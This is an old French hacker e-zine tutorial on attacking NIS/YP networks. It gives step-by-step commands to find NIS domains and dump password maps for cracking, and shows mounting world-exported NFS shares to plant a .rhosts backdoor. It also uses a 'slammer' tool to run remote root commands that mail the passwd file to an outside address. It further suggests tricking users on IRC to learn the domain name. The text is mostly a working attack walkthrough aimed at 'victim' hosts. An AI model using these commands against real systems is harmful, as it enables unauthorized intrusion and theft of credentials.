Copy Link
Add to Bookmark
Report
N0RoUTE Issue 4 hacking NIS
N N ii ssssss
N N N ii s
N N N ii sssss
N N N ii ss
N N ii sssss
Ceci Est Une Mise A Jour De L'article De Cod4 !
** 1: C'est quoi NIS et a quoi ca sert ?
NIS est un service qui permet d'administrer sur une seule machine les
principales base de donnees systeme d'un reseau UNIX. Les fichiers
concernes sont /etc/passwd, /etc/groups, /etc/hosts, /etc/networks, etc etc.
Maintenant, on va voir a quoi ca peut nous servir NIS (du point de vue d'un
admin.). Imagine que tu as plusieurs accounts sur des machines. Le jour ou tu
veux changer ton password, hehe!, tu vas devoir changer ton password sur
chaque machine. Si tu as plus de 200 accounts, c'est poa evident! :( Par
contre, avec NIS, tu as juste a changer une seule fois ton password, et c'est
tout. Ensuite toutes les machines sont au courant de ce changement.
Voyons d'un peut plus pres le mecanisme ki peut realiser ce MiRaCLE ;).
Imaginons que la machine qui centralise NIS s'appelle BIBI. Toi, tu te
connectes sur la machine LINDA. D'abord, on te demande ton login et mot de
passe. Ensuite, le programme qui gere le login regarde si tu as un account en
local. Pour cela elle regarde le /etc/passwd. (voici comment il se presente
sur la machine LINDA)
#/etc/passwd
root:VcDtfTeRTTt45:0:1:bibi le boss:/:/bin/sh
bin:*:1:1::/usr/local/bin/noshell
gege:100:501: gege le mec ki bosse k'en local:/home/gege:/bin/sh
+foo
La, on voit que l'user foo (au fait, c'est *vous* ;)) n'est pas gere en local
(c'est le +username qui indique une entree NIS). Donc, le programme de login
va faire une requete NIS a la machine BIBI. Pour cela, il regarde le nom de
domaine NIS sur lequel il doit effectuer sa recherche, pour consulter les
cartes NIS necessaires a la verification de l'user. (note: les noms de
domaines NIS sont differents du nom de domaine de la becane, et il peut avoir
plusieurs noms de domaine sur une machine).
Voici en gros a koi resemble une carte NIS...
---------------------------------------------------------------------------
X-OR:F45SdGhhIk.:234:789:X-or le chevalier de l'espace:/home/x-or:/bin/sh
foo:3DKF9kApLWx:233:253:foo le hacker fou:/home/foo:/bin/sh
---------------------------------------------------------------------------
Donc voila, notre programme de login a plus qu'a lire l'entree pour l'user
foo et le tour est joue :).
Vous avez tout compris? NON! Ben alors achetez un gros bouquin sur UNIX ;p
Vous allez me dire: "C'est bien bOOOooOOOoOOOoO tout ca mais moi, petit hacker
que je suis, a quoi ca va pouvoir bien de me servir ?" :)
Imagine... Tu fais un rpcinfo sur www.victim.com
$ rpcinfo -p www.victim.com [NDR: le `$' n'est pas a taper!]
program vers proto port
100004 2 tcp 673 ypserv
100005 1 udp 721 mountd
100003 2 udp 2049 nfs
100026 1 udp 733 bootparam
Victoire! il y'a ypserv donc forcement il y a NIS et encore re-victoire car
il y a bootparam.Ypserv indique que la machine est le server NIS . Maintenant, il ne reste plus qu'a trouver le nom de domaine.
Pour tester au pif un nom, on fait un ypwhich...
$ ypwhich -d victim www.victim.com
bibi.victim.com
On sait que c'est la machine BIBI qui gere le NIS et on sait en plus que
victim est bien le nom de domaine du NIS. Donc, ensuite, ce qui nous interesse
c'est la carte passwd.byname (c'est le fichier /etc/passwd en gros ;). Pour
cela, il y a DEUX facons: 1/ si on est a l'exterieur du domaine, on utilise un
programme appelle ypx (ses sources se trouvent partout sur le web) ou alors on
peut utiliser ypcat mais pour cela il faut modifier le fichier de
configuration /etc/yp.conf (sous Linux).
Voici la technique pour utiliser ypcat . Pour cela vous devez avoir le kit
yp avec ypbind , ypserv , ypcat etc ... d'installe .
Premierement il faut editer le fichier /etc/yp.conf
Voici comment est constitue le fichier yp.conf :
ypserver 192.143.146.25
L'ip 192.143.146.25 est l'adresse du server ou l'on trouve ypserv lorsque
l'on lance la commande rpcinfo -p 192.143.146.25 .
Voila votre fichier est maintenant configure.Maintenant il faut que votre
machine est le meme domain name que le server a attaquer !
On sait que le domain name du server a attaquer est victim .
tappez la commande suivante :
# domainname victim ( ou ypdomainname victim ). Cela depend des system ..
Voila votre machine a maintenant victim comme domain name .
Maintenant vous lancer la commande suivante :
# ypbind
Votre machine va maintenant comuniquee avec le server ou se trouve ypserv
Now il ne reste plus qu'a lancer ceci :
# ypcat passwd
Et la BinGo ! la map passwd.byname de la machine apparait ! Plus qu'a lancer
le gentil cracker de passwd !
Attention cette technique ne marche po sur toute les machines Linux et
doir etre utilise en "root" !
On peut aussi utliser la programme ypx en tappant ceci :
$ ypx -d -m passwd.byname www.victim.com victim
Et hop!, la on a la carte NIS passwd.byname qui s'affiche. Y'a plus qu'a
sauver ca et a le cracker trankillllooouuuu chez soi :)
Voici une autre technique pour recuperer passwd.byname avec le programe
ypsnarf en tappant la commande suivante :
ypsnarf www.victim.com victim passwd.byname
Attention nous n'avons po reussi a compiler ce prog sur des machine Linux .
Ce programme a ete teste sur SunOs 4.1.x ou il fonctionne tres tres bien !
---------------------------------------------------------------------------
Le plus gros probleme est malhereusement de trouver de domain NIS de la
machine . Voici les autres technique que vous pouvez utliser .
Par exemple tappez ceci :
$ showmount -e www.victim.com
...
/var (everyone)
...
Le repertoire /var est exporte pour tous. Montez-le...
# mount -t nfs www.victim.com:/var /mnt ( la commande mount doir etre
executee en "root" ! )
Ensuite, allez voir dans /mnt/yp et puis je vous laisse le soin de deviner la
suite :)
Si /var est pas exporte, il reste toujours bootparam. Pour cela utilisez
encore une fois ypsnarf :
$ ypsnarf www.victim.com www.hacker.com
Cette technique fonctionne rarement et j'avoue n'avoir trouver pour le
moment de server ou cette fonction fonctionne . Mais il parait que Cod4 en
avait deja trouve ...Je vous laisse donc le soins de chercher par vous meme
:))
Vous avez toujours pas trouve ? argh! Il vous reste le SE :) Attendez qu'un
jour un mec du domaine vienne sur IRC puis amenez-le a executer domainname sur
sa becanne et qu'il vous donne le resultat :)) Mais bon la faut un gros
coup de CUL ! :))
Si vous avez vraiment de la chance vous pourrez peut etre trouver des severs
en utilisant showmout -e www.victim.com d'autre repertoire d'exporter plus
interessant que /var .... par exemple / ou /home etc ...
Voici donc un peu plus d'explication sur la commande shwomount .
Par exemple, showmount sur notre cible donne:
evil $ showmount -e victim.com
export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy easy
/export/swap/easy easy
-------snip-------8<-------snip-------8<-------snip-------8<-------
HACKER'S NOTE
La commande showmount avec l'option -e hostname permet de connaitre les
systemes de fichiers effectivement exportes par le systeme distant
hostname.
-------snip-------8<-------snip-------8<-------snip-------8<-------
Remarque que /export/foo est exporte pour tout le monde. Remarque
egalement que c'est le repertoire utilisateur de "guest". Il est temps
pour nous de rentrer dans la machine! Dans le cas present, tu va monter
(mount) le repertoire utilisateur de "guest". Comme tu n'as pas de
compte correspondant sur la machine locale et comme le root ne peut pas
modifier les fichiers sur un systeme de fichiers monte avec NFS, tu cree
un compte "guest" dans ton fichier /etc/passwd local. En tant
qu'utilisateur guest tu peut mettre un fichier .rhosts dans le repertoire
utisateur distant de "guest", ce qui te permet de faire un rlogin sur la
machine cible sans donner de mot de passe.
evil # mount victim.com:/export/foo /foo
evil # cd /foo
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest
evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest
evil # su guest
evil $ echo evil.com >> guest/.rhosts
evil $ rlogin victim.com
Welcome to victim.com!
victim $
Maintenant a vous de trouver un exploit qui vous permettra de passer"root".
-----------------------------------------------------------------------------
Voici maintenant comment exploiter la programme ypbreack.c
Ce programme n'a en fait aucune utilite mais je vais quand meme vous
expliquer a quoi il peut servir ...
Recupere le programme ypbreak.C et compile le ...
Bon maintenant admetons que lorsque vous tappez rpcinfo -p www.victim.com
vous avez ceci :
program vers proto port
100001 2 tcp 673 ypserv
100002 2 tcp 483 ypbind
100006 1 udp 648 yppasswdd
100005 1 udp 721 mountd
100003 2 udp 2049 nfs
100026 1 udp 733 bootparam
Bingo ! il y a yppasswdd ..
Bon ben c tt con . On sait que le domain name de la machine victim . Il
suffit plus de tapper ceci :
$ ypbreak www.victim.com vitim
Enter account name :
Enter un login qui existe dans le passwd de la machine que vous attaquez .
par exemple le login fjones .
Voici ce qui apparait ensuite :
fjones:DEfcee7Z5dz:69:168:Mr Jones:/home/fjones:/bin/bash
password :
A ce moment la entrez le passwd de fjones ( pas le pass crypte ! ) . Vous aurez ensuite le choix
suivant :
0. Quite
1. Name
2. Password
3. Gecos
4. shell
Choice >
Maintenant c a vous de jouer !
Il est clair que ce programme n'est d'aucune utlite car toute ces
operations sont plus facilement accessibles sur la machine www.victim.com.
Ceci juste pour votrer comment exploiter yppasswdd .
--------------------------------------------------------------------------------
Voici maintenant un programme beaucoup plus interressant : Slammer.C
Ce programme permet d'executer des commandes root directement d'une machine
distantes .
$ rpcinfo -p www.victim.com
program vers proto port
100001 2 tcp 673 ypserv
100002 2 tcp 483 ypbind
100006 1 udp 648 keyserv
100005 1 udp 721 mountd
100003 2 udp 2049 nfs
100026 1 udp 733 ypupdated
BINGO ! Il y a ypbind , keyserv et ypupdated . Il faut imperativement ces 3
services pour utliser Slammer.c
Ben Now il ne reste plus qu'a tapper ceci par exemple :
$ slammer www.victim.com " domainname | mail bibi@fuck.dst "
Et Op vous allez recevoir un joli mail avec le nom de domain de la machine
ce qui vous permettra d'utiliser ypx ou ypsnarf pour recupe la map NIS de la
machine ( passwd.byname )
Encore Mieux pour eviter de vous prendre la tete tappez ceci :
$ slammer www.victim.com " ypcat passwd | mail bibi@fuck.dst "
Et re Op ! vous aller recevoir un joli mail de www.victim.com avec le
passwd de la machine :)))
A oue encore un truc important ! Si vous connaissez des homes de users ben
il suffira de creer un .rhost avec + + dedans puis ensuite de faire :
$ rlogin www.victim.com -l user
Et op vous voila entre sur la machine .
Il vous sera aussi possible de faire d'autre chose mais bon apres c a vous
de voir ce que vous preferez ! :)
Attentin ce programme ne fonctionne po sur toute les machines possedant ypbin
keyserv et ypupdated .... Nous avons deja rencontre des machines sur lesquelles
ce programme ne fonctionnait po ....
PS: Les programmes ypsnarf.c , ypbreak.c et slammer.C ne sont compilables
que sur des systems SunOs . Si vous arrivez a les faire fonctionner sur Linux
ben tenez nous au courrant ! :))
Bon ben voila C fini !!
Vous remarquerez que je j'ai repris les articles de COD4 que j'ai modifie
et mis a jours ... Je remercie donc Cod4 pour m'avoir permis d'avoir moins
de choses a tapper ! :ppp
A oue je fais aussi un chtit CouCou a Cleb et Doc|SeDoV avc qui on a pu
mettre a jour ces techniques d'attaque, hOtCodE, Dhea, Kewl4, Sick_Bot,
Mayweed, Sorcery, Lordfrog, Darth, Hawiz, NoRace, FfT, MosFet, Stances, Nighty
et tous ceux que j'ai oublie ! ( Qu'ils me pardonne :)) ..